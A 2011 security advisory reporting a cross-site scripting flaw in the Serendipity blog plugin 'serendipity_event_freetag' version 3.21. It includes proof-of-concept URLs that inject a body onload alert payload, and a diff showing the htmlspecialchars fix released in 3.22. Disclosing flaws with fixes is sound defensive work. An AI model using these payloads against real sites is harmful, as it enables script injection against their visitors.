SSCHADV2011-004 - Cross-Site Scripting vulnerability in Serendipity Plugin "serendipity_event_freetag"

Posted by on Monday, May 30. 2011

Advisory:	XSS vulnerability in Serendipity Plugin "serendipity_event_freetag"
Advisory ID:	SSCHADV2011-004
Author:	Stefan Schurtz
Affected Software:	Successfully tested on: serendipity_event_freetag – version 3.21
Vendor URL:	http://www.s9y.org
Vendor Status:	Version 3.22 – Fix possible XSS
CVE-ID:	-

======================
Vulnerability Description:
======================

This is a Cross-Site Scripting vulnerability

==============
Technical Details:
==============

http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(String.fromCharCode(88,83,83))>

http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))>

=====
Solution:
=====

Update to the latest version 3.22

diff serendipity_event_freetag.php

< <?php #$Id: serendipity_event_freetag.php,v 1.148 2011/05/09 08:19:30 garvinhicking Exp $
> <?php #$Id: serendipity_event_freetag.php,v 1.149 2011/05/30 20:25:24 garvinhicking Exp $

< $propbag->add(‘version’, ‘3.21’);
> $propbag->add(‘version’, ‘3.22’);

< $serendipity[‘smarty’]->assign(‘freetag_tagTitle’, is_array($this->displayTag) ? implode(’ + ‘,$this->displayTag) : $this->displayTag);
> $serendipity[‘smarty’]->assign(‘freetag_tagTitle’, htmlspecialchars(is_array($this->displayTag) ? implode(’ + ‘,$this->displayTag) : $this->displayTag));

================
Disclosure Timeline:
================

30-May-2011 – informed developers

30-May-2011 – Release date of this security advisory
30-May-2011 – Version 3.22 – Fix possible XSS

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.s9y.org

http://blog.s9y.org/archives/231-serendipity_event_freetag-Plugin-update,-XSS-bug.html

http://www.rul3z.de/advisories/SSCHADV2011-004.txt

http://ha.ckers.org/xss.html

http://www.securityfocus.com/archive/1/518191/30/0/threaded

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